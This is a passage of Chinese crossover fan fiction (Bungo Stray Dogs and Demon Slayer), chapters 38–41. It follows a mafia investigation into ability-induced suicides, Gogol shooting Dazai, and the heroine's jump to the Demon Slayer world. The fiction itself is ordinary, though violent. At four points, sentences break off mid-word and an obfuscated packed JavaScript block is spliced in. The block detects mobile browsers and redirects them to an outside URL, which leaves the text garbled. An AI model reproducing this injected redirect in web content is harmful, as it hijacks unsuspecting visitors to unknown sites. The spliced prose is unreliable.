38.河边偶遇 最近的横滨好像遇到了一点小麻烦。 事情的起因是港口mafia最近派遣出的战斗小队突然开始莫名其妙的减员。 经过调查后,发现这些人居然都是……自杀。 如此大规模的、经常性地十人以上集体自尽的行为,我怀疑他们全都被太宰治传染了。 这当然是随口胡说,森先生猜测这件事有异能者参与其中,并且指名让我去调查这件事。 距离龙头战争结束也过去了一段不短的日子,现在就连芥川君执行单人任务也算是有模有样了,虽然他仍未学好呼吸法。 ……太宰治来到首领办公室的次数也越来越少了。 ——【雪野夕の日记,7月30日。】 “雪野小姐,请让属下跟随。”广津柳浪已经拿着伞等候在她办公室前,姿态一丝不苟。 “老爷子。”雪野夕有点头痛,“这次如果有异能者参与进来,那么极有可能是危险程度最高的精神类异能者哦。” 不动声色地影响了如此多的人……甚至一部分没有出过任务的成员,这种异能者,森先生绝对不会放过。 “雪野!” 另一边,中原中也步履匆匆,“首领让你去调查这次的事件?” “是。”她看着对方皱紧的眉头,“发生什么事了吗?” “我的部下也中招了。”中原中也不快地吐露,语气有些烦躁,“我今天只是在日常执行歼灭敌对组织的任务,但回来的途中就突然有人开始喃喃自语,并且打算用自己的枪自杀——” “还好我反应迅速,把那几个人都打晕后带回来了。” “现在他们都在禁闭室吗?”听他的描述似乎没有什么异常,于是雪野夕打算去看看那些中招的人。 他们和广津柳浪一起乘坐电梯下楼,还没靠近禁闭室,一股浓重的血腥味就先萦绕上鼻尖。 中原中也神情剧变,三步并作两步冲了过去—— 本来在禁闭室门口守着的两个人不见了,铁门大开,里面横七竖八躺倒了整整五个人的尸体,其中有两具正属于中原中也留下来看守的人。 尸体大多数伤痕不多,战斗部队身手不凡,此时在杀死队友方面也天赋异禀。 “可恶!”一向爱护下属的中原中也将拳头捏的咔咔作响,“如果让我找到那个人!” 雪野夕的目光扫视一圈,视线最终停留在了禁闭室铁门上方的小窗上,那里正开着,所以即使关上门,里外也能彼此看见。 “中也,你走的时候这扇门就这样吗?”她指了指那扇铁丝加固的窗。 “嗯?”中原中也顺着她的视线看过去,“啊,是我担心他们中途醒过来,所以特意嘱咐不要关上这扇窗。” “在这么短的时间内就能造成如今的局面……好强的传染力。”雪野夕忍不住开始摩挲自己的发尾,“如果是异能力,那该如何传播?声音?对视?应该不会是接触……” 她示意广津柳浪和她一起去看看这段时间内禁闭室的监控。 画面中,禁闭室内原本昏迷的三人其中有一个确实是醒了过来,他近乎呆滞地直起上半身,门口的两个黑衣人听到了声响,下意识地侧头查看情况,下一秒—— 两个人像是失去了灵魂一样打开了禁闭室的铁门,拔枪射击,十几声枪响过后,原本的三个人都中弹身亡,紧接着这两人就毫不犹豫地调转枪口,扣动扳机。 “这是?”他们之间没有交流,也没有对视,地上原本昏迷的两个人更是遭受了无妄之灾,平白失去自己的性命。 雪野夕一时之间搞不懂这一连串事件之间的原理,只好采用一个最笨的方法。 她直奔情报人员坂口安吾那里,在对方惊讶且隐约带着敬佩的目光中找出了最近一个月以来港口mafia外勤人员的任务报告。 快速浏览过后,她将出事地点一一标记,然后从上到下按照出事时间排列顺序。 然后发现高发风险地区又是熟悉的鹤见川。 ……真是一条危险的河流啊。 在这里,不但能体会污染严重的严峻环境并且随时随地见识横滨真面目,甚至还能打捞到横滨特产的青花鱼,真是女默男泪。 “那个……我想问一下,出了什么事吗?”已经加班一个星期的坂口安吾推推自己的眼镜,黑眼圈似乎已经快要超出了眼镜所覆盖的范围。 他身上的西装也皱巴巴的,领口袖口都很松散,还有沾上去的墨水痕迹…… 尤其是脸上还有胡茬,他到底多久没有休息过了啊? “横滨可能出现了精神类异能者。”鉴于这是太宰治的小伙伴,雪野夕并没有隐瞒,“你要不要去休息一下?” “我还好,咳。”坂口安吾整理着桌子上的资料,雪野夕好像还听到了对方的碎碎念,“只要不下班就不会上班,也就没有加班……” ……真是老天赏工打。 坂口安吾是个非常敬业的打工人,即使他心里对雪野夕非常好奇,但总不能开口问对方和太宰直接的八卦是不是真的…… 过度的好奇让他面色越发严肃,更加不像个十几岁的少年了。 暂时不能关注无赖派,雪野夕有点愁现在怎么办。 最佳选择当然是选一队人当做诱饵,再去鹤见川走一遭,可是目前完全不清楚情报信息,诱饵很有可能有去无回。 “反正我要去。”中原中也的声音在身边响起,他眼睛喷火地盯着雪野夕刚刚在纸上记下来的时间和地点,“竟敢这么对我的部下、如此蔑视港口mafia!” “在下也想去会会那个传说中的异能者。”面色平静的芥川龙之介也出现在情报室门口。 据说太宰先生已经两天没回来了,难道跟这次的事情有什么关系吗? 没有眉毛的芥川君眉头紧锁,发现事情并不简单。 看懂他眼神的雪野夕:…… 这里有毒唯啊! ———— 夜色正好,荡漾的水波搅碎了河川倒影之月,像是河中出现了一片银辉裙摆。 一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612786|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影正小声哼着歌,时不时用脚尖点地跳跃两下,纤细的影子跟在他身后,与他一同翩翩起舞。 今晚月色真美啊。 一想到那么强大的异能者组织,却正在为他的小把戏焦头烂额,他的心中就抑制不住地升起一股愉快。 直到一只苍白的手突然从漆黑的河中伸出,水淋淋地搭在了小野慎吾的脚边。 “你看起来很愉快呢?” 从鹤见川中爬上来的是一个身上缠着绷带的少年,身上不断滚落的水珠似乎将他浑身上下的热量与生气都带走了,此时简直像是黄泉比良坂中魅惑人心的恶鬼或是骗取人心的妖精。 “好心人……不打算将我从水里拉出来吗?” ———— 在好不容易劝服中原中也与芥川龙之介留在港口mafia随时待命后,雪野夕独自一人来到了鹤见川旁,这条河流很长,她只能选择先来到最近出事的下游调查情况。 “哦?来了呀。”坐在河边的江户川乱步眼睛一亮,“名侦探在这里!” “乱步先生。”雪野夕看见他,倒是松了一口气,因为见到他这不就很大程度上表明,她来对地方了吗? “名侦探迷路了,而且还很饿。”江户川乱步跳起来,拍拍自己身上的灰尘。 “我这里倒是有黄油松饼哦。”感觉回到了自己用猫罐头诱拐流浪猫的时候,雪野夕看着对方有点翘起来的黑发和一身侦探的服饰…… 还是眯眯眼什么的,好可爱! “禁止猫塑名侦探!”乱步接过黄油松饼,“还要波子汽水!还有粗点心!最新口味的糖……” “没问题没问题。”知道交易达成的雪野夕拍手,“待会儿我还会把你送回侦探社哦。” “还是社员太少了。”他叼着一块松饼,“名侦探下次不要一个人出门了。” 目前武装侦探社的人手还远远不够,在横滨遇到麻烦时发挥的作用也很有限。 “哎?织田先生呢?还有其他同事?” “还有其他委托嘛。”乱步将双手背过去,像个小孩子,“不过名侦探知道会在这里遇到你哦,所以解决这个委托也不需要其他人啦。” “但今夜我们暂停了一切外勤队伍,对方还会出现吗?”雪野夕走在他身侧,“而且前几次都是对普通人下手,异能者们安然无恙。” “今天确实有不同哦。”江户川乱步吃完了所有的点心,伸手到雪野夕面前,“有波子汽水吗?用异能力给名侦探变一瓶,要蓝色的哦!” “今夜的不同?”她一边掏出硬币一边打了个响指,指间的硬币消失,转而出现了一瓶波子汽水,“前几日对方都是针对港口mafia下手,所以boss认为这是一起报复事件,如果今日我们没人出来的话……” “也会没事的哦。”接过波子汽水,观察着瓶子里的弹珠的江户川乱步说:“因为他认为此刻的自己,已经有了与你们boss谈判的资格。” 比如说,手中多了一张港口mafia的干部的好牌。 39.是果戈里 原来这个手牌是太宰治吗? 那我觉得这个异能者想错了,他没有抽到什么好牌,反而第一下就抽中了鬼牌啊。 但很显然,此时的太宰治不太想看见我。 具体表现在,他本来就白的脸色在看见我的那一刻更白了。 仔细看看,他的头发蔫巴巴地贴在脸颊和散乱的绷带上,眼神无精打采,浑身被水泡过后还带有一点湿漉漉的无辜,眼下青黑,裸露出来的脖颈和手腕处的绷带却更厚了一些,也许是这些日子里都在自杀吧。 这条小青花鱼此时双手被手铐反绑在身后,下巴还被黑漆漆的死死顶住,挟持他的人食指已经扣住了扳机,接下来的动作也不过就是轻轻一握而已。 只要不到半秒,纵使平日里太宰治再怎么命大,大概也难逃死亡的命运了吧? ——【雪野夕の日记,7月31日。】 但要解决这一连串的事情也很简单,雪野夕握紧了手中的手杖,尽量避免自己与对面看起来快要碎掉的猫猫对视。 她的血鬼术,不需要半秒就能砍断对面异能者的手,这样一来,就算是近在咫尺也是没有用的。 “哎呀,对付我们空间系异能者,可不能这么草率哦。”一个听上去格外有活力的声音突兀地响起,随后很快就化作真实的人影出现在劫持太宰治的小野慎吾身边。 身穿小丑服的果戈里很有礼貌地抬了抬自己的礼帽,“哇哦,夕酱,好久不见哟,我刚刚的魔术表演怎么样?” “很一般。”雪野夕转头对江户川乱步说:“这下今天可能不能送你回侦探社了。” “名侦探看出来了哦。”不知何时带上眼镜的江户川乱步点点头,“大消息,这里的情况要赶快告诉社长才行呢。” 侦探社的方位……雪野夕想了想,“那就只好拜托你相信我了!” 江户川乱步的身影猛然消失不见。 “哦呀哦呀!他们的关系看上去真不错啊。”果戈里毫不见外地凑近绑匪和劫持者两个人,“毕竟是夕酱喜欢的类型嘛~我就被她评价过黑发也会很迷人哦!” “哎?”他好奇地凑近太宰治,“总感觉你刚刚好像瞪了我一眼呢?难道说被那个人提起过的对手……也是这种困于世俗情感中的人吗?” 他大笑着拍起手,突然在自己的斗篷内一扯—— 一只肥啾模样的小鸟出现在他的手中,看起来很气愤地啄着他的手心。 “好可爱!”他毫不介意地将栗子酱举到自己的脸侧,即使银白色的小辫子被扯了好几下也没有松手。 “是鸟!哎呀,我很喜欢哦。”果戈里露出来的眉眼弯弯的,“可是夕酱……” “你当初为什么不杀掉自己身边的朋友呢?”他在众人紧张的注视下,伴随着自己的喃喃自语,牢牢握住了不断挣扎的栗子酱,“所谓自由啊……” “啊!提问!”无视栗子酱越来越微弱的挣扎,他灵活地转动着自己,“夕酱刚刚传送的招式!好不好用呢?” “哈?”小野慎吾的手又往上了一寸,被压迫到气管的太宰治终于忍不住,低声咳嗽起来。 “你在问什么东西?”小野慎吾不悦地说:“既然港口mafia的人来了,不应该让她听听我的条件吗?” “我不确定。”雪野夕却非常自然地接上了果戈里的问题,“远距离传送一个成年人,不知道会不会在半路中断……到时候世界上就会出现半个乱步先生了。” “哇哦。”果戈里兴奋地鼓掌,“这种方法,我从来没用过呢!” “你们是自己人吗……”小野慎吾的嘴角抽了下,“不管了……喂!我要和你们首领谈判!” “我的异能力名为【情感共鸣】,可以操纵人类的情感,如果……” 他脸色阴沉地拨弄了下枪口,其中威胁的意味不言而喻。 看得出来,他挟持太宰治无法使出异能的现状让他烦躁不安。 “你想要什么?”雪野夕的眼神扫过太宰治被反绑的手臂,“杀掉我们那么多自己人,首领可是将你的行为试作挑衅了哦。” “还有你,小丑。”她看见被捏的扁扁的栗子酱,“我们以前好像只是网友哦,我的栗子酱要变真栗子酱了呢。” “你到底有没有……”小野慎吾的嘴巴里渗出一股苦味,谁来解释一下,为什么他们能如此自然地聊天啊?还有小丑这个怪物,从刚刚开始一直对着空气比划什么呢? 对面港口mafia的异能者居然也能看得见? “哎?”果戈里把半死不活的栗子酱放在手心掂了掂,他突然摘下自己的礼帽,将栗子酱整个塞了进去,“女孩子们会习惯性地给自己的日记本取昵称吗?我记住了哦。” 礼帽向下反转,倒出来是一本在场所有人都能看到的硬皮日记本。 “哈?”雪野夕不置可否,“一把年纪了还一直想看别人日记的变态才更令人无语吧?” “哈哈哈哈哈哈哈,虽然不想与你争论我们其实同岁这件事……”果戈里很好心情地抱着日记本笑起来,“所以你说的变态就只剩下一个了,虽然他应该不会拒绝这个称呼吧。” “不过我说夕酱你啊……”他好不容易将自己的大笑收回去,“要我说你这个人啊……就算内心里有十分的愤怒和喜悦,表面上也只肯表现出两三分来,而且非常傲慢自负呢——以上是他的原话哦!” “呵呵,费佳……我就说他是嫉妒我这么完美的人。”雪野夕冷笑一声,毫不犹豫地将刀从手杖内拔出,冰冷雪白的刀身在黑暗中一闪而过,小野慎吾的惨叫声几乎在同一时间里响起—— 他的左右手齐齐被斩断,本来想忍着剧痛抵住身前的人质,但眼前的少年已经好好地站起身,手腕上哪里还有镣铐的踪迹? “情绪共鸣吗?”居高临下的太宰治扯了扯自己的嘴角,“真是有用又无用的东西啊……” “如果这异能力对我也能起效的话,那该是多么美妙。” “不过。”太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627838|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宰治蹲下身来,看向小野慎吾的眼神让他觉得自己仿佛是横滨河川中一不小心跳上岸边、无法回头的小鱼,“森先生可不反对我先将你洗脑呢。” 而在另一边—— “啊嘞啊嘞,居然这么生气吗?”白发小丑游刃有余地躲避着雪野夕的刀刃,“居然要杀掉我吗?虽然我在死亡之前更想试试杀掉我的挚友哦。” “哦?”雪野夕没有对果戈里使用空间能力,“那不如让开怎么样?费佳……你杀得明白吗?” “哎?连这个也要变成竞争项目嘛。”他灵巧地后退一步,双手捧心,“我完全赞同哦,看来我要早点回去才行呢,完全不能接受先我一步呀——” “或者我们换一下?由我来帮你摆脱那些【束缚】,如何呢?” 小丑蛊惑的声音在耳边响起,“他们所有人都会得到真正的自由,为此,我愿意承担所有的罪孽。” 他的语调逐渐变得激昂慷慨,像是在进行一场精妙绝伦的演讲。 这个提议当然被雪野夕拒绝了。 果戈里的眼神从倒在地上,用眼神对他无声求救的小野慎吾身上略过,“那么,我就要说再见了哦。” “对了,走之前还有一件事要办到呢。” 不知何时,掉落在地上的、属于小野慎吾的断手被他捡起,那只手中还有一把已经上膛的手枪—— “虽然是初次见面,但我很想试试能不能杀掉这位太宰君呢。” 毫不犹豫地,他扣下了扳机。 “太宰!”雪野夕下意识地放弃追过去,转而来到肩部中枪的太宰治身边,他身上的水渍直到此刻都没有完全干透,但环住他时,感受到的除了人类体温的冰冷,还有带着温热气息的血液。 那汩汩流淌的血液,此时正穿透她捂住的伤口,浸透她的指缝,再顺着手背一路流淌下去,最终不知道会去往何方。 雪野夕下意识攥紧了他最外面的西装外套,但有无法下狠心按住,只能安慰他,“我马上就把你送回港口mafia……” “雪野小姐……”太宰治的手突然牢牢地回握过来,彼此的掌心里瞬间充满了血液的粘腻与温热,他看过来的眼睛漆黑一片。 那里面似乎满是即将坠入深渊的偏执和绝望。 两个冷血生物,在即将破晓的河边彼此相望。 对此刻的雪野夕来说,这一幕却也不重要了。 因为太宰治在哭。 “……为什么?” 你为什么哭了,是肩膀上的伤太痛了吗? 可是她的能力无法为他止血…… “谢谢你,雪野小姐。”近乎透明的面颊上没有太多表情,可是泪珠却在不断涌现的太宰治轻轻呢喃了一句,“如果你连我此时此刻的眼泪也不在乎的话……” 那我就真的不知道下一步该如何是好了。 他按住雪野夕的肩膀,很有技巧地将她向身边一推—— 在她的身后,正是水流湍急的河流。 40.情绪共鸣 栗子酱不在,没法写日记了。 雪野夕懊恼地从河水里站起来,这里是一片森林,周围有不少断裂的树木,地面上的泥土有翻动过的痕迹,看来前不久这里曾经爆发过一场激烈的战斗。 “雪野小姐?”一个惊讶的声音从身后传来,额头上打着绷带的灶门炭治郎拿着日轮刀问她,“您怎么会在这里?” “是炭治郎啊。”雪野夕弄干了自己的衣服,她果然是又进行世界转换了,太宰治那家伙怎么办到的,她以前都是借住栗子酱的力量啊…… 事到如今,也只能先搞清楚眼下的情况了,她说明了情况,又问对方,“这里是哪里?” “哦哦,这里是锻刀村。”炭治郎挠挠头,“昨晚上弦之四和上弦之五突然来到这里,我们和他们整整战斗了一夜……好在都解决了,没有人死亡。” “原来是这样。”雪野夕松了一口气,就连回来的时间也发生了变化,那条小青花鱼趁她不在到底和栗子酱搞出了多少东西啊。 “那你怎么会来这里呢?”她有点不好意思地摸摸鼻子,“……我是因为有一些意外。” “嗯,我理解的。”善解人意的炭治郎立刻不再问了,“我来是因为想试试我的呼吸法……总觉得自己的身体里,似乎还有别的力量。” “是太阳的力量吧。”对于这个,雪野夕有发言权,“将太阳的力量与剑技结合,使用日轮刀时,整个刀身会燃起火焰。” “哎?”对面的少年猛然瞪大了眼睛,“雪野小姐知道嘛,那您可不可以教我?” “这个嘛……我也不会呢。” 对于最强的呼吸法日之呼吸,她虽然在栗子酱提供的记忆中看过,但日呼是一种对使用者要求奇高的剑技,而且招式大开大合,正是她不擅长的方向。 就连她如今使用的月之呼吸,她自己与黑死牟也曾一起将剑技改良过一部分。 所以黑死牟仍然有些遗憾,无法看到完全继承并使用自己呼吸法的继子。 “但也请您与我对战吧!”炭治郎突然弯腰,对她深深地鞠躬,“我知道平日您与我们比试剑技都没有使用血鬼术,可是祢豆子……她克服了阳光,也许鬼舞辻无惨会更加疯狂吧!” 所以他必须尽快强大起来才行! “可以啊。”雪野夕当然没有拒绝的理由,倒不如说她现在怀疑那条小青花鱼把她送过来,就是为了解决这边的问题? 暂时无法回去的话……也就只能走走主线任务了。 还有炭治郎的妹妹祢豆子……她已经克服了太阳带来的伤害? 心怀善意的孩子,总是会被光明所接纳。 “太好了!”炭治郎简直要跳起来,“真的非常感谢您!” “那个……其实我现在也有疑问想要倾诉呢。”雪野夕犹豫一下,还是选择了吐槽—— 栗子酱不在,她真的好寂寞! “欸!!??”月色下,坐在庭院里的甘露寺蜜璃发出一声巨大的惊叹,然后很快双手捧住脸颊,“是恋爱吧!我就说绝对是的吧!?” “那个,我那个朋友……” “放心吧夕酱!”甘露寺蜜璃猛地扑上来握住她的手,“你和太宰先生的事,讲给我听绝对没问题的!” “不是说是雪野小姐的朋友……”这是还在状况外的炭治郎。 “好吧,其实就是我自己。”雪野夕捂脸,“这个话术居然在一百年前都行不通吗?” “事情的经过是这样的……” ———— “她还会理我吗?” 酒吧里,太宰治一脑袋磕在吧台上,有些无精打采地说:“我想要一杯加了毒药的酒。” “抱歉,无论是毒药还是洗洁精,我们这里都没有那种东西呢。”酒保先生优雅地擦拭杯子,顺带拒绝了他无礼的请求。 “啊……织田作,我该怎么办。”太宰治腿上还放着一本硬壳日记本,但他却完全没有翻看的心思,“自杀很多次被雪野小姐发现,还把她推下水……居然连哭的样子都被她看到了……但我当时完全忍不住。” “早知道事情会是这样。”他突然抬起头笑出声来,“当初还不如死掉!” “为什么?为什么那颗子弹没有穿透我的心脏呢?” 他颠三倒四、喋喋不休地重复了好多遍,最后才吐出浸满了毒汁的一句低语,情绪不知道究竟是怨愤还是诅咒—— “这一切都怪那个魔人!” “雪野小姐……她不会原谅我了。” “他又在发什么疯?”眼下乌黑的坂口安吾有点气短,“我怎么感觉已经听他抱怨了整整一个小时?” “大概是难堪的样子被雪野看见了?年轻人总会有这种苦恼吧。”织田作之助很老实地回答他并提醒,“太宰,你小心肩膀上的伤会裂开。” “说起这个,枪伤还没好就出来喝酒真的好吗?”坂口安吾让酒保给太宰治换上一杯果汁,“而且我听说雪野小姐失踪了?来这里之前我还接受了中原大人的盘问呢。” “对了,芥川君也来问了一句。” “是我的错哦。”太宰治将凳子转了半圈,双臂向后靠在吧台上,“……毕竟与我这种人牵扯,得不到幸福也是理所当然的吧?” “……”坂口安吾一噎,接着使劲给另一边的织田作之助使眼色—— 织田作君,快想个办法安慰他啊! 虽然平日里也会互损,但在这种朋友疑似失恋的离奇氛围下,果然应该好好安慰吧? 说起来他们两个有恋爱的传言吗?最近的小道消息好像是雪野小姐指挥重力使暴打港口mafia最年轻的干部吧? “那不如来做测试?”织田作之助转移话题的方法很生硬,就是随手从旁边的杂志里抽了一本,翻开某一页并开始念里面的心理测试小问题。 这种时候测这种小问题……拜托可千万不要是恋爱心理小测试,帮助你预测恋人之间到底能走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644849|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多远这种话题啊! 坂口安吾强打精神,命令自己仔细听取朋友问出的测试问题。 ———— “总之……情况就是这样的。”雪野夕讲完一切,语气中终于带上一点怀疑,“难道其实他并不喜欢我,是我一直逼迫他……所以他现在逆反心理比较严重?” “别扭的爱恋!好可爱!”甘露寺蜜璃双手捧心,脸颊绯红,甚至连眼睛里都浮现着疑似激动的泪花? “恋爱之间居然这么复杂!我我我……”灶门炭治郎满脸通红,双手不知道该放到哪里。 “我有一个……写信认识的人。”雪野夕一笔带过,“不算是朋友……大概是因为他喜欢白毛我喜欢黑毛,总之最近他评价我是个傲慢自负的人。” 不过鉴于对方的品味和审美和她差异较大,所以她单方面鄙视费佳的评价。 “虽然没有恋爱的经历,但我也是以【恋】为名的柱哦。”甘露寺蜜璃拿出了认真对待的气势,“虽然只有几次见面,但太宰先生绝—对—没有讨厌夕酱!” 对情绪感知很敏感的炭治郎也连连点头,“我的嗅觉告诉我的……” 太宰先生闻起来很可怕,就像是他在山涧中遇到过的深不见底的潭水,水面总是波澜不惊,那种迎面而来的水生香总是让人头脑昏沉,感觉下一刻就要溺死在其中。 但他看向雪野小姐的时候不一样,那种感情……大概是初冬时节,小雪落下,直到落尽没有结冰的潭水里,两者合为一体时,水面就会泛起浅浅的涟漪。 这个时候,太宰先生也会短暂地展露出一点点笑容。 和他这个年纪的少年一样的、再普通不过的、单纯的笑容。 “就算是这样……我是不是也应该委婉一点呢?”雪野夕重新捡回其实从没被丢掉过的自信,“比如下次不那么激进地表达如果不喜欢我我就会把你关在我家地下室……” “我、我我!”炭治郎后退两步,“我刚刚是不是听错了?” “很好!”甘露寺蜜璃握紧了拳头,“要的就是这种气势——嗯?什么关进地下室?” “那就是你们听错了。”雪野夕丝滑改口,“还有下一项吗?” “那么来做占卜吧!”甘露寺蜜璃重新恢复活力,“这是我从西洋那边听来的哦!关于测试你与恋人之间的契合程度——” “第一题!一个平平无奇的夜晚,你朝窗外的天空看去,这个时候,你会看到什么呢?” “黑夜里的天空,会看到什么?”太宰治在酒吧里听到了织田作的第一个问题,将苦涩的酒液一饮而尽,“原来是心理测试吗?我会看到……一片黑暗吧。” “乌云密布,一片虚无,没有月亮和星星,什么也没有,实在是再平常不过的夜晚呢。” “我会看到什么吗?”晴朗的天空下,看着一脸期待的甘露寺蜜璃,雪野夕用手撑着下巴,“夜晚的话,窗外应该是——” “是星月夜吧。” 41.双线并行 “Mimic? ”中原中也握紧了拳头,“只要派出我一个人,就可以清除他们所有人!” “中也。” 昏暗的首领办公室内,森鸥外双手交叉,声音低沉。 “我当然明白你的强大,但我们目前还有更重要的事。” 中原中也立刻单膝跪地,“听从您的指示。” “除了横滨,我们还有对外开拓的业务。”森鸥外嘴角上扬,“这个部分,我想交给你。” “实际上,如果不是雪野最近失踪,想必横滨最近的动荡已经被我们解决了吧?” “我当然愿意去。”中原中也低头接下任务,“我愿为组织献上一切……还有雪野她……” “这个不必担忧。”上座的首领放缓语气,“我最近收到了一份情报,即使雪野不在,我也已经有了解决这一切的人选……当然,等到雪野归来,你第一时间就能收到消息。” “那就好。”中原中也终于松了口气,“谢谢你,BOSS。” 同一时间,织田作家中—— “搬家?”织田作之助有些疑惑地问:“啊……实际上,这栋房子的房租还没到期。” “哎?雪野小姐支援的钱财还在哦,再说搬去武装侦探社的员工宿舍的话,工作也会更加方便吧?”太宰治无精打采地趴在桌子上,面前还放着一碗他自己亲手做的豆腐。 “主要是我收养的孩子太多。”红发青年有些不好意思地挠挠头,“虽然知道侦探社的诸位同事肯定不会有意见,但总是麻烦他们也不太好……” “为什么不可以!”太宰治猛地蹲在椅子上,瞪大看着他,“是织田作说过的,孩子们都很听话吧?而且搬过去的话写小说的时间也会更宽裕哎!” “名侦探同意这个理由!”门口探头进来的江户川乱步大声赞成。 “乱步先生?”织田作之助站起来,看向刚刚给他开门的咲乐,“您怎么在这里?” “是社长的要求哦。”抱着一堆零食的江户川乱步抱怨,“名侦探花了好久才找过来!还好长发酱给我画了一份能看懂版地图啦!” 长发酱雪野夕,在那天把江户川乱步传送回侦探社的时候,顺手附赠了一份织田作之助家的好懂版地图。 所谓江户川乱步的好懂版,也就是在旁边备注上:从武装侦探社出门,抬头看见一家你很喜欢的粗点心店,走到店门口,买一份,转头,能看见一个卖波子汽水的自动贩卖机,投币…… 她坚信只要顺利找到织田作之助的家,剩下的名侦探会懂的! 因为以港口mafia高层的身份给明面上的敌对组织通信总有不便,但如果是一份横滨出行品尝美食攻略就没问题了! “居然猜到了吗?”猫猫蹲在椅子上的太宰治惆怅地抱紧了怀里的日记本,果然那天他还是有点急切了吧。 但只要侦探社的核心知道了内情,他的计划就一定会成功的。 带着忧愁的心情,他准备向友人告辞了。 “太宰。” 江户川乱步主动和孩子们一起去吃点心了,织田作之助才得出空闲来叫住他。 “你觉得,安吾怎么样?” 武装侦探社也接到了调查Mimic的委托,他潜入好友的家中,竟然意外发现了与调查对象相似的东西。 然后很快,他就遭到了追杀,还好太宰治即时出现,他才从危险中脱离。 想必太宰与乱步先生也是因为这件事才会来劝导他搬进武装侦探社的员工宿舍吧。 “织田作。”背对他的少年、也许现在是介于少年与青年之间了,他的身形抽长,肩膀也比之前宽阔。 那与之前相比要低沉一些的声音轻轻呼唤着友人的名字,“即使有一天,我因为迫不得已要做出违背我们之间友谊的事情,你也会原谅我吗?” “你是在说安吾吗?”织田作之助眉头紧锁,“如果只是这样的欺瞒,我……” “织田作!”太宰治又喊了一声他的名字,依旧没有回头,“我多希望你能一直保持这样的立场。” 他头也不回地走了出去。 无论如何,这种思想是他所不具备的;无论如何,他也无法达成这样的正确。 织田作啊,也许一直以来,都是我在羡慕着你吧。 羡慕着你在绝境中的正确,也痛恨自己的卑劣。 ———— “你进步的很快。”黑死牟收回虚哭神去,威严的面容稍稍松懈。 眼前的继子气喘吁吁,但她刚才依旧接下了他的每一击。 天才的光辉总是太过耀眼,让人不敢直视却又不甘心就这么移开目光。 “我去森林中散散步。”黑死牟扔下了棋子,装作从未看见继子有点期待的眼神,眼前的棋盘上分明只有黑白二色交纵,但他不知为何,总是能看到一抹红色的衣角。 那个人不说话,也没有任何动作,就这么安静地注视着他。 挥舞日轮刀也好,落下一枚枚棋子也好,他就像以前那样,再安静不过地看着他处理自己的事情。 ……还是不一样的吧,他现在干这些时已经不会感到劳累,而他也不会适当地笑着呼唤一声“兄长大人”。 四百多年匆匆而过,一定有什么早就不同了,对吗,缘一。 黑死牟踏进夜风习习的森林里,远处的湖边,还有苇草在轻轻摇晃,漫天星斗,却比不上他们一同行过的那一天。 那已是四百年前的一天。 四百年后的星空,早就比不上当年的那一片明亮。 也许当初会选择夕作为继子,也有第一眼时就觉得她的眼神与小时候的你很像的缘故吧。 雪野夕在收拾棋盘上的棋子,将黑子与白子分开放好。 这一局是黑死牟自己与自己对弈的结果,但不知是不是因为他的心思动荡,这一局下到现在,竟然成了一局死棋。 随着棋子被投掷进小小的竹篓中发出的轻微碰撞声,随着夜风一起送过来的,是一缕浓郁的血腥气。 雪野夕顾不上收拾棋盘,起身拿起手杖跑了过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666603|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,野草拂过衣角,摩擦出轻微的“噼啪”声,也许衣服的边缘已经被勾起了许多破损,随着四线一同卷起来的,还有她的心。 “请您……将强大的力量赐给我!” 少年伏跪在一片断臂残肢与血泊中间,身躯与头颅深深低垂,只有双手高高举起,掌心向上,像是要承接一份不属于自己的力量。 而在他的身上,以及周围地上尸体的身上,所穿着的都是带有“恶鬼杀灭”字样的鬼杀队的队服。 这是一个雪野夕并不认识的人,但看他的日轮刀,应该是使用雷之呼吸的剑士。 “你想要强大的力量?”黑死牟高大的身影矗立在月光下,低沉的嗓音与隐没在发丝下的三对眼睛震慑人心,却又代表了绝对的力量。 “是……是!”少年仍然伏跪不起,现在他的脸上都沾满了泥土也说不定,这使他的声音模糊又坚定。 狯岳与其他鬼杀队队员一起出来执行任务,但他从未想过,自己要面对的竟然是如此强大的对手。 